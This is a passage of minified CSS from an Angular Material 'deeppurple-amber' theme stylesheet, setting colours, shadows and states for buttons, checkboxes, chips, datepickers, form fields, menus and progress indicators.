.mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-flat-button.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-raised-button.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-fab.mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-stroked-button:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeppurple-amber-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-fab:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeppurple-amber-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.deeppurple-amber-theme .mat-button-toggle{color:#00000061}.deeppurple-amber-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.deeppurple-amber-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.deeppurple-amber-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.deeppurple-amber-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.deeppurple-amber-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.deeppurple-amber-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.deeppurple-amber-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.deeppurple-amber-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.deeppurple-amber-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.deeppurple-amber-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.deeppurple-amber-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.mat-button-toggle-appearance-standard .mat-button-toggle-label-content{line-height:48px}.deeppurple-amber-theme .mat-card{background:white;color:#000000de}.deeppurple-amber-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeppurple-amber-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-card-subtitle{color:#0000008a}.deeppurple-amber-theme .mat-checkbox-frame{border-color:#0000008a}.deeppurple-amber-theme .mat-checkbox-checkmark{fill:#fafafa}.deeppurple-amber-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.deeppurple-amber-theme .mat-checkbox-mixedmark{background-color:#fafafa}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#673ab7}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#ffa000}.deeppurple-amber-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.deeppurple-amber-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.deeppurple-amber-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.deeppurple-amber-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.deeppurple-amber-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.deeppurple-amber-theme .mat-checkbox .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#673ab7}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ffa000}.deeppurple-amber-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.deeppurple-amber-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.deeppurple-amber-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.deeppurple-amber-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeppurple-amber-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip:after{background:black}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.deeppurple-amber-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-table{background:white}.deeppurple-amber-theme .mat-table thead,.deeppurple-amber-theme .mat-table tbody,.deeppurple-amber-theme .mat-table tfoot,.deeppurple-amber-theme mat-header-row,.deeppurple-amber-theme mat-row,.deeppurple-amber-theme mat-footer-row,.deeppurple-amber-theme [mat-header-row],.deeppurple-amber-theme [mat-row],.deeppurple-amber-theme [mat-footer-row],.deeppurple-amber-theme .mat-table-sticky{background:inherit}.deeppurple-amber-theme mat-row,.deeppurple-amber-theme mat-header-row,.deeppurple-amber-theme mat-footer-row,.deeppurple-amber-theme th.mat-header-cell,.deeppurple-amber-theme td.mat-cell,.deeppurple-amber-theme td.mat-footer-cell{border-bottom-color:#0000001f}.deeppurple-amber-theme .mat-header-cell{color:#0000008a}.deeppurple-amber-theme .mat-cell,.deeppurple-amber-theme .mat-footer-cell{color:#000000de}.deeppurple-amber-theme .mat-calendar-arrow{fill:#0000008a}.deeppurple-amber-theme .mat-datepicker-toggle,.deeppurple-amber-theme .mat-datepicker-content .mat-calendar-next-button,.deeppurple-amber-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.deeppurple-amber-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-calendar-table-header,.deeppurple-amber-theme .mat-calendar-body-label{color:#0000008a}.deeppurple-amber-theme .mat-calendar-body-cell-content,.deeppurple-amber-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.deeppurple-amber-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.deeppurple-amber-theme .mat-calendar-body-in-preview{color:#0000003d}.deeppurple-amber-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.deeppurple-amber-theme .mat-calendar-body-in-range:before{background:rgba(103,58,183,.2)}.deeppurple-amber-theme .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(103,58,183,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(103,58,183,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-calendar-body-selected{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#673ab766}.deeppurple-amber-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeppurple-amber-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#673ab74d}@media (hover: hover){.deeppurple-amber-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#673ab74d}}.deeppurple-amber-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(255,160,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,160,0,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,160,0,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ffa00066}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.deeppurple-amber-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ffa0004d}@media (hover: hover){.deeppurple-amber-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ffa0004d}}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.deeppurple-amber-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.deeppurple-amber-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.deeppurple-amber-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.deeppurple-amber-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.deeppurple-amber-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.deeppurple-amber-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeppurple-amber-theme .mat-datepicker-toggle-active{color:#673ab7}.deeppurple-amber-theme .mat-datepicker-toggle-active.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-date-range-input-inner[disabled]{color:#00000061}.deeppurple-amber-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.deeppurple-amber-theme .mat-divider{border-top-color:#0000001f}.deeppurple-amber-theme .mat-divider-vertical{border-right-color:#0000001f}.deeppurple-amber-theme .mat-expansion-panel{background:white;color:#000000de}.deeppurple-amber-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-action-row{border-top-color:#0000001f}.deeppurple-amber-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.deeppurple-amber-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.deeppurple-amber-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.deeppurple-amber-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.deeppurple-amber-theme .mat-expansion-panel-header-title{color:#000000de}.deeppurple-amber-theme .mat-expansion-panel-header-description,.deeppurple-amber-theme .mat-expansion-indicator:after{color:#0000008a}.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.deeppurple-amber-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.mat-expansion-panel-header{height:48px}.mat-expansion-panel-header.mat-expanded{height:64px}.deeppurple-amber-theme .mat-form-field-label,.deeppurple-amber-theme .mat-hint{color:#0009}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label{color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-focused .mat-form-field-required-marker{color:#ffa000}.deeppurple-amber-theme .mat-form-field-ripple{background-color:#000000de}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#673ab7}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#ffa000}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.deeppurple-amber-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.deeppurple-amber-theme .mat-error{color:#f44336}.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-form-field-label,.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.deeppurple-amber-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeppurple-amber-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.deeppurple-amber-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.deeppurple-amber-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.deeppurple-amber-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.deeppurple-amber-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#673ab7}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ffa000}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.deeppurple-amber-theme .mat-icon.mat-primary{color:#673ab7}.deeppurple-amber-theme .mat-icon.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-icon.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.deeppurple-amber-theme .mat-input-element:disabled,.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.deeppurple-amber-theme .mat-input-element{caret-color:#673ab7}.deeppurple-amber-theme .mat-input-element::placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element::-moz-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-warn .mat-input-element,.deeppurple-amber-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.deeppurple-amber-theme .mat-list-base .mat-list-item,.deeppurple-amber-theme .mat-list-base .mat-list-option{color:#000000de}.deeppurple-amber-theme .mat-list-base .mat-subheader{color:#0000008a}.deeppurple-amber-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.deeppurple-amber-theme .mat-list-option:hover,.deeppurple-amber-theme .mat-list-option:focus,.deeppurple-amber-theme .mat-nav-list .mat-list-item:hover,.deeppurple-amber-theme .mat-nav-list .mat-list-item:focus,.deeppurple-amber-theme .mat-action-list .mat-list-item:hover,.deeppurple-amber-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-list-single-selected-option,.deeppurple-amber-theme .mat-list-single-selected-option:hover,.deeppurple-amber-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-menu-panel{background:white}.deeppurple-amber-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-menu-item{background:transparent;color:#000000de}.deeppurple-amber-theme .mat-menu-item[disabled],.deeppurple-amber-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.deeppurple-amber-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.deeppurple-amber-theme .mat-menu-item .mat-icon-no-color,.deeppurple-amber-theme .mat-menu-submenu-icon{color:#0000008a}.deeppurple-amber-theme .mat-menu-item:hover:not([disabled]),.deeppurple-amber-theme .mat-menu-item.cdk-program-focused:not([disabled]),.deeppurple-amber-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.deeppurple-amber-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-paginator{background:white}.deeppurple-amber-theme .mat-paginator,.deeppurple-amber-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.deeppurple-amber-theme .mat-paginator-decrement,.deeppurple-amber-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.deeppurple-amber-theme .mat-paginator-first,.deeppurple-amber-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-decrement,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-increment,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-first,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.mat-paginator-container{min-height:56px}.deeppurple-amber-theme .mat-progress-bar-background{fill:#d5cae9}.deeppurple-amber-theme .mat-progress-bar-buffer{background-color:#d5cae9}.deeppurple-amber-theme .mat-progress-bar-fill:after{background-color:#673ab7}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#fbe4bc}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#fbe4bc}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#ffa000}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.deeppurple-amber-theme .mat-progress-spinner circle,.deeppurple-amber-theme .mat-spinner circle{stroke:#673ab7}.deeppurple-amber-theme .mat-progress-spinner.mat-accent circle,.deeppurple-amber-theme .mat-spinner.mat-accent circle{stroke:#ffa000}.deeppurple-amber-theme .mat-progress-spinner.mat-warn circle,.deeppurple-amber-theme .mat-spinner.mat-warn circle{stroke:#f44336}.deeppurple-amber-theme .mat-radio-outer-circle{border-color:#0000008a}.deeppurple-amber-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#673ab7}.deeppurple-amber-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#673ab7}.deeppurple-amber-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ffa000}.deeppurple-amber-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ffa000}.deeppurple-amber-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.deeppurple-amber-theme 